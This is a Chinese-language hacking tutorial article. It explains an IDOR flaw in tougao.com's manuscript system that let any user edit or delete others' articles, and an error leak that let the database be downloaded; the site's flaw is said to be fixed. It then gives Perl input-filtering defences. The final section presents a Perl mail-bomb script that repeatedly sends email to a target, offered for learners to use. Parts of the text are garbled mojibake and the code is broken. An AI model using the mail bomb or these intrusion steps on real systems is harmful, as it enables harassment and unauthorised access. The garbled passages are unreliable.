例如http://www.tougao.com/網(wǎng)站提供的“稿件管理系統(tǒng)”就存在一個(gè)很嚴(yán)重的問題(本人已經(jīng)和他們聯(lián)系并說明此漏洞、相關(guān)漏洞現(xiàn)已修復(fù)),讓我們看看通過瀏覽器訪問它的形式,當(dāng)我們閱讀其中的稿件時(shí),會(huì)發(fā)現(xiàn)在URL內(nèi)的地址是/list.asp?articleid=nnnn,顯然list.asp是顯示文章的程序,而后面的?articleid=nnnn則是它的參數(shù),nnnn是文章的編號(hào)。當(dāng)黑客申請(qǐng)成為tougao網(wǎng)站的一員后,便擁有了上傳文章和修改、刪除自己發(fā)表文章的權(quán)利,修改文章使用editarticleself.asp?articleid=nnnn,其中的nnnn應(yīng)該是自己的文章代碼,但是如果黑客將文章代碼改變會(huì)怎么樣呢?
修改了文章代碼后發(fā)現(xiàn),可以對(duì)其他文章進(jìn)行修改!也就是說任何經(jīng)過免費(fèi)注冊(cè)成為tougao網(wǎng)站的用戶都可以擁有修改任意文章的權(quán)利,同時(shí)使用delarticleself.asp則可以刪除任何文章! ∫淮喂セ鞴濤乙丫鶚鐾炅?,是不是窚\<虻ィ科涫迪裾庵治侍饌縞纖媧杉?,好好想一蠑n綣詎nnn的修改進(jìn)行的更“不著邊際”,例如輸入幾個(gè)英文字母或者標(biāo)點(diǎn)符號(hào)會(huì)出現(xiàn)什么情況?經(jīng)過嘗試發(fā)現(xiàn),當(dāng)屬的數(shù)值為“單引號(hào)”是,系統(tǒng)會(huì)出現(xiàn)錯(cuò)誤并報(bào)告數(shù)據(jù)庫文件的名稱、磁盤物理路徑等敏感信息,這樣就可以直接通過下載軟件將他們的數(shù)據(jù)庫下載到本地并從中找到管理員賬號(hào)。
在早期的YukiBBS3000上,當(dāng)注冊(cè)者的注冊(cè)信息內(nèi)包含單引號(hào)時(shí),也會(huì)出現(xiàn)“程序運(yùn)行錯(cuò)誤”的提示,并且造成論壇的內(nèi)部數(shù)據(jù)錯(cuò)誤,徹底終止論壇的正常運(yùn)行?! 《?、防范攻擊: 相對(duì)來說,網(wǎng)易、新浪等大型門戶網(wǎng)站在這方面做的比較好,他們對(duì)文章ID號(hào)進(jìn)行了判斷,防止特殊字符的介入,如果使用者輸入了非法的字符,經(jīng)過檢測(cè)系統(tǒng)會(huì)提示輸入的ID號(hào)碼非法,并且拒絕接受請(qǐng)求,返回一個(gè)“輸入字符非法”的界面。
另外對(duì)于文章的修改,他們也考慮的非常周到,在進(jìn)行每一次文章修改的時(shí)候,系統(tǒng)都會(huì)檢測(cè)用戶身份,確定準(zhǔn)備修改的文章是否屬于登陸身份,如果不屬于則會(huì)提出警告信息。而實(shí)際上,這種問題在早期他們的網(wǎng)站上也是存在的,只不過因管理員網(wǎng)絡(luò)安全意識(shí)比較強(qiáng),因此即使的發(fā)現(xiàn)并修補(bǔ)了漏洞。
cgi、perl等程序在設(shè)計(jì)的時(shí)候,必須考慮到各種可能出現(xiàn)的情況,例如對(duì)文件名的提交必須考慮周到,一個(gè)程序沒有考慮到的特殊名稱也許會(huì)對(duì)系統(tǒng)造成非常嚴(yán)重的后果,用戶輸入一個(gè)文件名,有可能就試圖打開輸入危險(xiǎn)字符串!例如用戶輸入的文件名中包含路徑字符,如目錄斜杠和雙點(diǎn)!盡管你期望的是輸入公用的文件名(例如report.txt),但結(jié)果卻可能是/report.txt或//report.txt等等,系統(tǒng)中所有文件就有可能泄露出去,后果是可想而知的。
設(shè)計(jì)cgi、perl程序,最好能夠在代碼中加入下面的非常字符檢測(cè)代碼:
if(($file_name=——/[^a-zA-Z_\.]/) ?。?file_name=——/^\./))
{ #文件包含有不合法字符 }
另外還要注意對(duì)大于號(hào)、小于號(hào)的判斷,因?yàn)檫@兩種符號(hào)是html文檔中 的屬性符號(hào),不進(jìn)行屏蔽會(huì)對(duì)論壇造成嚴(yán)重的后果,網(wǎng)絡(luò)上不是有很多“小兒科”的聊天室踢人術(shù)嗎?簡單的方式是不允許小于號(hào)和大于號(hào)的出現(xiàn),因?yàn)樗?HTML語法必須包含在這兩個(gè)字符間,如果程序檢測(cè)到它們就返回一個(gè)錯(cuò)誤提示,下面一行Perl代碼快速地清除了這兩個(gè)字符:
$user_input=~s/<>//g;
當(dāng)然還有比較好的選擇,就是將這兩個(gè)字符轉(zhuǎn)換成它們的HTML換碼(特殊的代碼),用于表示每個(gè)字符而不使用該字符本身。下面的代碼通過全部用<替換了小于符號(hào),用>替換了大于符號(hào),從而完成了轉(zhuǎn)換過程: $user_input=~s//& gt;/g; 三、編寫簡單的郵件炸彈: 利用Perl程序可以非??焖俚木帉戉]件炸彈程序,這種方法比起直接使用別人編寫的郵件炸彈要好的多,至少學(xué)習(xí)者能夠真正“體會(huì)一下”什么才是黑客。有 關(guān)這個(gè)炸彈的編譯環(huán)境是具備一臺(tái)有CGI權(quán)限的網(wǎng)絡(luò)服務(wù)器,同時(shí)這臺(tái)服務(wù)器上提供了sendmail命令(當(dāng)然這一切可以在自己的系統(tǒng)上進(jìn)行設(shè)置),并且 學(xué)習(xí)著還要初步了解有關(guān)perl語言的知識(shí)。
程序的原理非常簡單,就是利用sendmail命令向目標(biāo)重復(fù)發(fā)送相同內(nèi)容的電子郵件,為了控制發(fā)送郵件的數(shù)量,我們聲明一個(gè)計(jì)數(shù)器變量,同時(shí)將程序用while()函數(shù)做循環(huán),下面我們看一下程序的源代碼: #!/bin/perl
$file='/user/lib/sendmail';
$target='someone@target.com';
$count=0;
while($count<1000){
open(MAIL,"/$file$target") die" Can not open $file!\n
print MAIL"哈哈,你被攻擊啦"
close(MAIL);
sleep 3;
$count++;
}
看明白了嗎?程序就上面這點(diǎn)兒,是不是非常簡單?因?yàn)镻erl屬于解釋型語言,因而不需要進(jìn)行編譯,直接將源代碼上傳到服務(wù)器上,然后設(shè)置成為755或 者775型,就可以通過瀏覽器調(diào)用而直接使用了。程序中的$file和$target變量分別定義了sendmail命令的路徑和目標(biāo)的地址,在使用此程 序以前要根據(jù)個(gè)人需要進(jìn)行修改,而$count變量是我們要發(fā)送的炸彈郵件數(shù)量,因?yàn)榘l(fā)送郵件工作是服務(wù)器完成的,因而速度非???,這個(gè)數(shù)量可以設(shè)置的大 一些,我們并不會(huì)感覺到程序的緩慢。
(責(zé)任編輯:鑫報(bào))